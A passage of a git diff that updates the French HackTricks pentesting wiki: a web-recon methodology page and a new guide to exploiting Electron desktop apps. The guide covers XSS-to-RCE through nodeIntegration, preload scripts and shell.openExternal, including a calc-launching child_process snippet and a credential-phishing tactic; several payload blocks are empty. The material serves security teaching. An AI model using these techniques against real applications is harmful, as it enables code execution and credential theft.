beaucoup d'astuces intéressantes qui pourraient être exploitées)](php-tricks-esp/) +* [Python](python.md) +* [Spring Actuators](spring-actuators.md) +* [Symphony](symphony.md) +* [Tomcat](tomcat.md) +* [VMWare](vmware-esx-vcenter....md) +* [Test de pénétration de l'API Web](web-api-pentesting.md) +* [WebDav](put-method-webdav.md) +* [Werkzeug](werkzeug.md) +* [Wordpress](wordpress.md) +* [Electron Desktop (XSS to RCE)](electron-desktop-apps/) -_Tenez compte du fait que le **même domaine** peut utiliser **différentes technologies** sur différents **ports**, **dossiers** et **sous-domaines**._\ -Si l'application Web utilise une **technologie/plateforme bien connue** répertoriée ci-dessus ou **autre**, n'oubliez pas de **rechercher sur Internet** de nouvelles astuces (et faites-le moi savoir !). +Notez que le même domaine peut utiliser différentes technologies sur différents ports, dossiers et sous-domaines. Si l'application web utilise une technologie ou une plateforme bien connue répertoriée ci-dessus ou toute autre, n'oubliez pas de rechercher sur Internet de nouvelles astuces (et faites-le moi savoir !). ### Examen du code source -Si le **code source** de l'application est disponible sur **github**, en plus de réaliser **vous-même un test de boîte blanche** de l'application, il y a **des informations** qui pourraient être **utiles** pour le **test de boîte noire** actuel : +Si le code source de l'application est disponible sur GitHub, en plus de réaliser votre propre test en boîte blanche de l'application, il existe des informations qui pourraient être utiles pour les tests en boîte noire actuels : -* Y a-t-il un fichier **journal des modifications, un fichier Readme ou une version** ou toute autre information de **version accessible** via le web ? -* Comment et où sont enregistrées les **informations d'identification** ? Y a-t-il un fichier (accessible ?) avec des informations d'identification (noms d'utilisateur ou mots de passe) ? -* Les **mots de passe** sont-ils en **texte brut**, **chiffrés** ou quel **algorithme de hachage** est utilisé ? -* Utilise-t-il une **clé principale** pour chiffrer quelque chose ? Quel **algorithme** est utilisé ? -* Pouvez-vous **accéder à l'un de ces fichiers** en exploitant une vulnérabilité ? -* Y a-t-il des **informations intéressantes dans les problèmes** (résolus et non résolus) **github** ? Ou dans **l'historique des commits** (peut-être un **mot de passe introduit dans un ancien commit**) ? +* Y a-t-il un fichier de journal des modifications, un fichier Readme ou une version ou toute autre information de version accessible via le web ? +* Comment et où sont enregistrées les informations d'identification ? Y a-t-il un fichier (accessible ?) contenant des informations d'identification (noms d'utilisateur ou mots de passe) ? +* Les mots de passe sont-ils en texte clair, chiffrés ou quel algorithme de hachage est utilisé ? +* Utilise-t-il une clé maître pour chiffrer quelque chose ? Quel algorithme est utilisé ? +* Pouvez-vous accéder à l'un de ces fichiers en exploitant une vulnérabilité ? +* Y a-t-il des informations intéressantes dans les problèmes résolus et non résolus de GitHub ? Ou dans l'historique des commits (peut-être un mot de passe introduit dans un ancien commit) ? {% content-ref url="code-review-tools.md" %} [code-review-tools.md](code-review-tools.md) @@ -134,7 +133,7 @@ Si le **code source** de l'application est disponible sur **github**, en plus de ### Scanners automatiques -#### Scanners automatiques à usage général +#### Scanners automatiques polyvalents ```bash nikto -h whatweb -a 4 @@ -182,17 +181,17 @@ joomlavs.rb #https://github.com/rastating/joomlavs Les serveurs Web peuvent **avoir un comportement inattendu** lorsque des données étranges leur sont envoyées. Cela peut ouvrir des **vulnérabilités** ou **révéler des informations sensibles**. -* Accédez à des **pages fictives** telles que /whatever\_fake.php (.aspx, .html, etc.) +* Accédez à des **pages fictives** comme /whatever\_fake.php (.aspx,.html,.etc) * Ajoutez "\[]", "]]" et "\[\[" dans les **valeurs des cookies** et les **valeurs des paramètres** pour créer des erreurs * Générez une erreur en donnant une entrée sous la forme de **`/~randomthing/%s`** à la **fin** de l'URL -* Essayez **différentes méthodes HTTP** telles que PATCH, DEBUG ou des méthodes incorrectes comme FAKE +* Essayez **différentes méthodes HTTP** comme PATCH, DEBUG ou incorrectes comme FAKE #### **Vérifiez si vous pouvez télécharger des fichiers (**[**verbe PUT, WebDav**](put-method-webdav.md)**)** Si vous découvrez que **WebDav** est **activé** mais que vous n'avez pas suffisamment de permissions pour **télécharger des fichiers** dans le dossier racine, essayez de : * **Forcer** les identifiants -* **Télécharger des fichiers** via WebDav vers le **reste des dossiers** trouvés à l'intérieur de la page Web. Vous pouvez avoir les permissions pour télécharger des fichiers dans d'autres dossiers. +* **Télécharger des fichiers** via WebDav vers le **reste** des **dossiers trouvés** à l'intérieur de la page Web. Vous pouvez avoir les permissions pour télécharger des fichiers dans d'autres dossiers. ### **Vulnérabilités SSL/TLS** @@ -223,7 +222,7 @@ Lancez une sorte de **spider** à l'intérieur du web. L'objectif de l'araignée * [**evine** ](https://github.com/saeeddhqan/evine)(go) : araignée HTML interactive en ligne de commande. Il recherche également dans Archive.org. * [**meg**](https://github.com/tomnomnom/meg) (go) : Cet outil n'est pas une araignée mais peut être utile. Vous pouvez simplement indiquer un fichier avec des hôtes et un fichier avec des chemins et meg récupérera chaque chemin sur chaque hôte et enregistrera la réponse. * [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go) : araignée HTML avec des capacités de rendu JS. Cependant, il semble qu'il ne soit plus maintenu, la version précompilée est ancienne et le code actuel ne compile pas. -* [**gau**](https://github.com/lc/gau) (go) : araignée HTML qui utilise des fournisseurs externes (wayback, otx, commoncrawl) +* [**gau**](https://github.com/lc/gau) (go) : araignée HTML qui utilise des fournisseurs externes (wayback, otx, commoncrawl). * [**ParamSpider**](https://github.com/devanshbatham/ParamSpider) : Ce script trouvera les URL avec des paramètres et les listera. * [**galer**](https://github.com/dwisiswant0/galer) (go) : araignée HTML avec des capacités de rendu JS. * [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python) : araignée HTML, avec des capacités de beautification JS capable de rechercher de nouveaux chemins dans les fichiers JS. Il peut également être intéressant de jeter un coup d'œil à [JSScanner](https://github.com/dark-warlord14/JSScanner), qui est un wrapper de LinkFinder. @@ -237,7 +236,7 @@ Lancez une sorte de **spider** à l'intérieur du web. L'objectif de l'araignée * [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions) : Une extension Burp pour trouver des chemins et des paramètres dans les fichiers JS. * [**Sourcemapper**](https://github.com/denandz/sourcemapper) : Un outil qui, étant donné l'URL .js.map, vous donnera le code JS beautifié. * [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder) : Cet outil est utilisé pour découvrir les points de terminaison pour une cible donnée. -* [**waymore**](https://github.com/xnl-h4ck3r/waymore) : Découvrir des liens à partir de la machine wayback (télécharger également les réponses dans wayback et rechercher d'autres liens). +* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Découvrir des liens à partir de la machine wayback (télécharger également les réponses dans la wayback et rechercher d'autres liens). * [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go) : Crawl (même en remplissant des formulaires) et trouver également des informations sensibles en utilisant des regex spécifiques. * [**SpiderSuite**](https://github.com/3nock/SpiderSuite) : Spider Suite est un crawler/spider de sécurité web GUI multi-fonction avancé conçu pour les professionnels de la cybersécurité. * [**jsluice**](https://github.com/BishopFox/jsluice) (go) : C'est un package Go et un outil en ligne de commande pour extraire des URL, des chemins, des secrets et d'autres données intéressantes à partir du code source JavaScript. @@ -280,14 +279,14 @@ Notez que chaque fois qu'un nouveau répertoire est découvert lors d'une attaqu ### Ce qu'il faut vérifier sur chaque fichier trouvé -* [**Vérificateur de liens cassés**](https://github.com/stevenvachon/broken-link-checker) : Trouvez les liens cassés à l'intérieur des fichiers HTML qui pourraient être vulnérables aux prises de contrôle. +* [**Vérificateur de liens cassés**](https://github.com/stevenvachon/broken-link-checker) : Trouvez les liens cassés à l'intérieur des fichiers HTML qui peuvent être vulnérables aux prises de contrôle. * **Sauvegardes de fichiers** : Une fois que vous avez trouvé tous les fichiers, recherchez les sauvegardes de tous les fichiers exécutables ("_.php_", "_.aspx_"...). Les variations courantes pour nommer une sauvegarde sont : _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp et file.old._ Vous pouvez également utiliser l'outil [**bfac**](https://github.com/mazen160/bfac). * **Découverte de nouveaux paramètres** : Vous pouvez utiliser des outils tels que [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **et** [**Param Miner**](https://github.com/PortSwigger/param-miner) **pour découvrir les paramètres cachés. Si possible, vous pouvez essayer de rechercher** des paramètres cachés dans chaque fichier web exécutable. * _Tous les wordlists par défaut d'Arjun :_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) * _Param-miner "params" :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) * _Assetnote "parameters\_top\_1m" :_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) * _nullenc0de "params.txt" :_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -* **Commentaires** : Vérifiez les commentaires de tous les fichiers, vous pouvez y trouver des **identifiants** ou des **fonctionnalités cachées**. +* **Commentaires** : Vérifiez les commentaires de tous les fichiers, vous pouvez trouver des **identifiants** ou des **fonctionnalités cachées**. * Si vous jouez à un **CTF**, une astuce "courante" consiste à **cacher** des **informations** à l'intérieur des commentaires à **droite** de la **page** (en utilisant des **centaines** d'**espaces** pour que vous ne voyiez pas les données si vous ouvrez le code source avec le navigateur). Une autre possibilité est d'utiliser **plusieurs nouvelles lignes** et de **cacher des informations** dans un commentaire en **bas** de la page web. * **Clés d'API** : Si vous trouvez une **clé d'API**, il existe un guide qui indique comment utiliser les clés d'API de différentes plateformes : [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) * Clés d'API Google : Si vous trouvez une clé d'API ressemblant à **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, vous pouvez utiliser le projet [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) pour vérifier quelles API la clé peut accéder. @@ -295,7 +294,7 @@ Notez que chaque fois qu'un nouveau répertoire est découvert lors d'une attaqu ### Découvertes spéciales -**Pendant** l'**exploration** et l'**attaque par force brute**, vous pourriez trouver des **éléments intéressants** dont vous devez **prendre note**. +**Pendant** l'**exploration** et l'**attaque par force brute**, vous pouvez trouver des **éléments intéressants** dont vous devez **prendre note**. **Fichiers intéressants** @@ -303,10 +302,10 @@ Notez que chaque fois qu'un nouveau répertoire est découvert lors d'une attaqu * [Si vous trouvez un fichier _**.git**_, des informations peuvent être extraites](git.md) * Si vous trouvez un fichier _**.env**_, des informations telles que des clés d'API, des mots de passe de bases de données et d'autres informations peuvent être trouvées. * Si vous trouvez des **points de terminaison d'API**, vous [devriez également les tester](web-api-pentesting.md). Ce ne sont pas des fichiers, mais ils ressembleront probablement à des fichiers. -* **Fichiers JS** : Dans la section d'exploration, plusieurs outils capables d'extraire des chemins à partir de fichiers JS ont été mentionnés. De plus, il serait intéressant de **surveiller chaque fichier JS trouvé**, car dans certaines situations, un changement peut indiquer qu'une vulnérabilité potentielle a été introduite dans le code. Vous pouvez utiliser par exemple [**JSMon**](https://github.com/robre/jsmon)**.** +* **Fichiers JS** : Dans la section d'exploration, plusieurs outils capables d'extraire des chemins à partir de fichiers JS ont été mentionnés. De plus, il serait intéressant de **surveiller chaque fichier JS trouvé**, car dans certaines occasions, un changement peut indiquer qu'une vulnérabilité potentielle a été introduite dans le code. Vous pouvez utiliser par exemple [**JSMon**](https://github.com/robre/jsmon)**.** * Vous devriez également vérifier les fichiers JS découverts avec [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) pour voir s'ils sont vulnérables. * **Déobfuscateur et désassembleur Javascript** : [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) -* **Embelleur Javascript** : [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) +* **Embellisseur Javascript** : [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) * **Déobfuscation JsFuck** (javascript avec les caractères :"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)) * [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` * À plusieurs occasions, vous devrez **comprendre les expressions régulières** utilisées, cela sera utile : [https://regex101.com/](https://regex101.com) @@ -417,7 +416,7 @@ Description: Simple Scan with Ffuf for discovering additional vhosts Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:FUZZ.{Domain_Name}" -c -mc all {Ffuf_Filters} ``` \ -**Astuce de prime de bug**: **inscrivez-vous** à **Intigriti**, une plateforme de prime de bug premium créée par des hackers, pour les hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** ! +**Astuce de prime de bug**: **inscrivez-vous** à **Intigriti**, une plateforme premium de prime de bug créée par des hackers, pour les hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** ! {% embed url="https://go.intigriti.com/hacktricks" %} diff --git a/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md new file mode 100644 index 000000000..4b3a7af16 --- /dev/null +++ b/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -0,0 +1,321 @@ +# Applications de bureau Electron + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). + +
+ +## Introduction + +Electron est **basé sur Chromium**, mais ce n'est pas un navigateur. Certains principes et mécanismes de sécurité implémentés par les navigateurs modernes ne sont pas en place.\ +Vous pouvez considérer Electron comme une application locale backend+frontend où **NodeJS** est le **backend** et **chromium** est le **frontend**. + +Généralement, vous pouvez trouver le code de l'application Electron à l'intérieur d'une application `.asar`, afin d'obtenir le code, vous devez l'extraire : +```bash +npx asar extract app.asar destfolder #Extract everything +npx asar extract-file app.asar main.js #Extract just a file +``` +Dans le code source d'une application Electron, à l'intérieur de `packet.json`, vous pouvez trouver spécifié le fichier `main.js` où les configurations de sécurité sont définies. +```json +{ +"name": "standard-notes", +"main": "./app/index.js", +``` +Electron a 2 types de processus : + +* Processus principal (a un accès complet à NodeJS) +* Processus de rendu (devrait avoir un accès restreint à NodeJS pour des raisons de sécurité) + +![](<../../../.gitbook/assets/image (307) (5) (1).png>) + +Un **processus de rendu** sera une fenêtre de navigateur chargeant un fichier : +```javascript +const {BrowserWindow} = require('electron'); +let win = new BrowserWindow(); + +//Open Renderer Process +win.loadURL(`file://path/to/index.html`); +``` +Les paramètres du **processus de rendu** peuvent être **configurés** dans le **processus principal** à l'intérieur du fichier main.js. Certaines des configurations permettront d'**empêcher l'application Electron d'être vulnérable à une RCE** ou à d'autres vulnérabilités si les **paramètres sont correctement configurés**. + +L'application de bureau peut avoir accès à l'appareil de l'utilisateur via les API Node. Les deux configurations suivantes sont responsables de fournir des mécanismes pour **empêcher le JavaScript de l'application d'avoir un accès direct à l'appareil de l'utilisateur** et aux commandes système. + +* **`nodeIntegration`** - est désactivé par défaut. S'il est activé, il permet d'accéder aux fonctionnalités de Node depuis le processus de rendu. +* **`contextIsolation`** - est activé par défaut. S'il est activé, les processus principal et de rendu ne sont pas isolés. +* **`preload`** - vide par défaut. +* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - est désactivé par défaut. Il restreindra les actions que NodeJS peut effectuer. +* Intégration de Node dans les Workers +* **`nodeIntegrationInSubframes`** - est désactivé par défaut. +* Si **`nodeIntegration`** est **activé**, cela permettra l'utilisation des **API Node.js** dans les pages web qui sont **chargées dans des iframes** au sein d'une application Electron. +* Si **`nodeIntegration`** est **désactivé**, alors les pré-chargements se chargeront dans l'iframe. + +Exemple de configuration : +```javascript +const mainWindowOptions = { +title: 'Discord', +backgroundColor: getBackgroundColor(), +width: DEFAULT_WIDTH, +height: DEFAULT_HEIGHT, +minWidth: MIN_WIDTH, +minHeight: MIN_HEIGHT, +transparent: false, +frame: false, +resizable: true, +show: isVisible, +webPreferences: { +blinkFeatures: 'EnumerateDevices,AudioOutputDevices', +nodeIntegration: false, +contextIsolation: false, +sandbox: false, +nodeIntegrationInSubFrames: false, +preload: _path2.default.join(__dirname, 'mainScreenPreload.js'), +nativeWindowOpen: true, +enableRemoteModule: false, +spellcheck: true +} +}; +``` +Quelques **charges utiles RCE** provenant de [ici](https://7as.es/electron/nodeIntegration\_rce.txt) : +```html +Example Payloads (Windows): + + +Example Payloads (Linux & MacOS): + + + + + +``` +### Capture de trafic + +Modifiez la configuration start-main et ajoutez l'utilisation d'un proxy tel que : +```javascript +"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", +``` +## Injection de code local dans Electron + +Si vous pouvez exécuter localement une application Electron, il est possible que vous puissiez lui faire exécuter du code JavaScript arbitraire. Vérifiez comment faire dans : + +{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %} +[macos-electron-applications-injection.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md) +{% endcontent-ref %} + +## RCE : XSS + nodeIntegration + +Si le paramètre **nodeIntegration** est défini sur **on**, le JavaScript d'une page web peut facilement utiliser les fonctionnalités de Node.js en appelant simplement `require()`. Par exemple, la façon d'exécuter l'application calc sur Windows est : +```html + +``` +
+ +## RCE : preload + +Le script indiqué dans ce paramètre est **chargé avant les autres scripts dans le moteur de rendu**, il a donc **un accès illimité aux API Node** : +```javascript +new BrowserWindow{ +webPreferences: { +nodeIntegration: false, +preload: _path2.default.join(__dirname, 'perload.js'), +} +}); +``` +Par conséquent, le script peut exporter les fonctionnalités du nœud vers les pages : + +{% code title="preload.js" %} +```javascript +typeof require === 'function'; +window.runCalc = function(){ +require('child_process').exec('calc') +}; +``` +{% code title="index.html" %} +```html + + + +``` +{% endcode %} + +{% hint style="info" %} +**Si `contextIsolation` est activé, cela ne fonctionnera pas** +{% endhint %} + +## RCE: XSS + contextIsolation + +Le _**contextIsolation**_ introduit les **contextes séparés entre les scripts de la page web et le code interne JavaScript d'Electron** de sorte que l'exécution JavaScript de chaque code n'affecte pas les autres. Il s'agit d'une fonctionnalité nécessaire pour éliminer la possibilité de RCE. + +Si les contextes ne sont pas isolés, un attaquant peut : + +1. Exécuter du **JavaScript arbitraire dans le rendu** (XSS ou navigation vers des sites externes) +2. **Remplacer la méthode intégrée** utilisée dans le code de préchargement ou le code interne d'Electron par sa propre fonction +3. **Déclencher** l'utilisation de la **fonction remplacée** +4. RCE ? + +Il existe 2 endroits où les méthodes intégrées peuvent être remplacées : dans le code de préchargement ou dans le code interne d'Electron : + +{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %} +[electron-contextisolation-rce-via-preload-code.md](electron-contextisolation-rce-via-preload-code.md) +{% endcontent-ref %} + +{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %} +[electron-contextisolation-rce-via-electron-internal-code.md](electron-contextisolation-rce-via-electron-internal-code.md) +{% endcontent-ref %} + +{% content-ref url="electron-contextisolation-rce-via-ipc.md" %} +[electron-contextisolation-rce-via-ipc.md](electron-contextisolation-rce-via-ipc.md) +{% endcontent-ref %} + +### Contourner l'événement de clic + +Si des restrictions sont appliquées lorsque vous cliquez sur un lien, il est possible de les contourner en **faisant un clic du milieu** au lieu d'un simple clic gauche. +```javascript +window.addEventListener('click', (e) => { +``` +## RCE via shell.openExternal + +Si l'application de bureau Electron est déployée avec les paramètres `nodeIntegration` et `contextIsolation` appropriés, cela signifie simplement que **l'exécution de code à distance côté client en ciblant les scripts de préchargement ou le code natif d'Electron à partir du processus principal ne peut pas être réalisée**. + +Chaque fois qu'un utilisateur clique sur le lien ou ouvre une nouvelle fenêtre, les écouteurs d'événements suivants sont invoqués: + +{% code overflow="wrap" %} +```javascript +webContents.on("new-window", function (event, url, disposition, options) {} +webContents.on("will-navigate", function (event, url) {} +``` +{% endcode %} + +L'application de bureau **remplace ces écouteurs** pour implémenter sa propre **logique métier**. Lors de la création de nouvelles fenêtres, l'application vérifie si le lien navigué doit être ouvert dans une fenêtre ou un onglet de l'application de bureau, ou s'il doit être ouvert dans le navigateur web. Dans notre exemple, la vérification est implémentée avec la fonction `openInternally`, si elle renvoie `false`, l'application supposera que le lien doit être ouvert dans le navigateur web en utilisant la fonction `shell.openExternal`. + +**Voici un pseudocode simplifié :** + +![](<../../../.gitbook/assets/image (638) (2) (1) (1).png>) + +![](<../../../.gitbook/assets/image (620).png>) + +Selon les meilleures pratiques de sécurité d'Electron JS, la fonction `openExternal` **ne doit pas accepter de contenu non fiable** **car cela pourrait entraîner une exploitation de RCE en abusant de différents protocoles** si l'application ne limite pas la navigation des utilisateurs aux protocoles tels que https:// ou http://. + +Différents systèmes d'exploitation prennent en charge différents protocoles qui pourraient déclencher une RCE, pour plus d'informations à leur sujet, consultez [https://positive.security/blog/url-open-rce](https://positive.security/blog/url-open-rce#windows-10-19042), mais voici quelques exemples pour Windows : +```html + + + + + + + +``` +Pour plus d'informations sur ces exemples, consultez [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) et [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) + +## Lire des fichiers internes : XSS + contextIsolation + +Si `contextIsolation` est défini sur false, vous pouvez essayer d'utiliser \ (similaire à \ + +``` +## **RCE: XSS + Ancien Chromium** + +Si le **chromium** utilisé par l'application est **ancien** et qu'il présente des **vulnérabilités connues**, il est possible de l'**exploiter et d'obtenir une RCE grâce à une XSS**.\ +Vous pouvez voir un exemple dans ce **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) + +## **XSS Phishing via Bypass regex URL interne** + +Supposons que vous ayez trouvé une XSS mais que vous **ne pouvez pas déclencher de RCE ou voler des fichiers internes**, vous pouvez essayer de l'utiliser pour **voler des informations d'identification via le phishing**. + +Tout d'abord, vous devez savoir ce qui se passe lorsque vous essayez d'ouvrir une nouvelle URL, en vérifiant le code JS côté front-end : +```javascript +webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) +webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) +``` +L'appel à **`openInternally`** décidera si le **lien** sera **ouvert** dans la **fenêtre du bureau** car il s'agit d'un lien appartenant à la plateforme, **ou** s'il sera ouvert dans le **navigateur en tant que ressource tierce**. + +Dans le cas où le **regex** utilisé par la fonction est **vulnérable aux contournements** (par exemple en **ne protégeant pas les points des sous-domaines**), un attaquant pourrait exploiter la faille XSS pour **ouvrir une nouvelle fenêtre** qui se trouverait dans l'infrastructure de l'attaquant **et demanderait les informations d'identification** à l'utilisateur : +```html + +``` +## **Outils** + +* [**Electronegativity**](https://github.com/doyensec/electronegativity) est un outil permettant d'identifier les mauvaises configurations et les anti-patterns de sécurité dans les applications basées sur Electron. +* [**Electrolint**](https://github.com/ksdmitrieva/electrolint) est un plugin open source pour VS Code pour les applications Electron qui utilise Electronegativity. +* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) pour vérifier les bibliothèques tierces vulnérables. +* [**Electro.ng**](https://electro.ng/): Vous devez l'acheter. + +## Laboratoires + +Dans [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s), vous pouvez trouver un laboratoire pour exploiter des applications Electron vulnérables. + +Voici quelques commandes qui vous aideront dans le laboratoire : +```bash +# Download apps from these URls +# Vuln to nodeIntegration +https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip +# Vuln to contextIsolation via preload script +https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip +# Vuln to IPC Rce +https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip + +# Get inside the electron app and check for vulnerabilities +npm audit + +# How to use electronegativity +npm install @doyensec/electronegativity -g +electronegativity -i vulnerable1 + +# Run an application from source code +npm install -g electron +cd vulnerable1 +npm install +npm start +``` +## **Références** + +* [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028) +* [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d) +* [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8) +* [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg) +* [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s) +* Plus de recherches et d'articles sur la sécurité d'Electron dans [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) +* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81) + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). + +
diff --git a/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md b/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md new file mode 100644 index 000000000..4cfbb3a0b --- /dev/null +++ b/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md @@ -0,0 +1,77 @@ +# Electron contextIsolation RCE via Electron internal code + +
